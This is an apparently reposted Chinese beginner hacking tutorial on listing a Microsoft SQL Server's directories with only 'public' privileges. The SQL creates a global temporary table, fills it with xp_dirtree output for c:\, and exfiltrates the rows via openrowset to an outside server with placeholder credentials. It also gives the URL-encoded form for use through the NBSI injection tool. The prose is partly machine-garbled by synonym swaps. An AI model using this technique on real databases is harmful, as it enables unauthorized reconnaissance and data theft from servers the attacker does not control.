浸透经验分享:Public权限下的列目录[菜鸟入门]

　　提起public权限的用户预计很多人也认为忧郁了吧~N久从前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法操纵xp_regread,xp_dirtree…这些存储历程,缘由是public没有办法建表,我在这里改正一下其实public是可以建表的~呵呵,使这些存储历程能操纵上,看下面的代码吧

　　--成立一个暂时表,普通的表我们是无办法成立的,我们只能成立暂时表

　　#-----为本地暂时表

　　##----为全局暂时表

　　create table ##nonamed(

　　dir ntext,

　　num int

　　)

　　--调用存储历程把履行回来的数据存到暂时表里面

　　insert ##nonamed execute master..xp_dirtree 'c:\',1

　　--然后采取openrowset函数把暂时表的数据导到本地MSSQL 的dirtree表里面了

　　insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')

　　select * from ##nonamed

　　以上办法,也就是说public可以遍历用户服务器的目录

　　在NBSI中,只要把暂时表名加前加##便可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!

　　以上是“浸透经验分享:Public权限下的列目录[菜鸟入门]”的内容，如果你对以上该文章内容感兴趣，你可以看看七道奇为您推荐以下文章：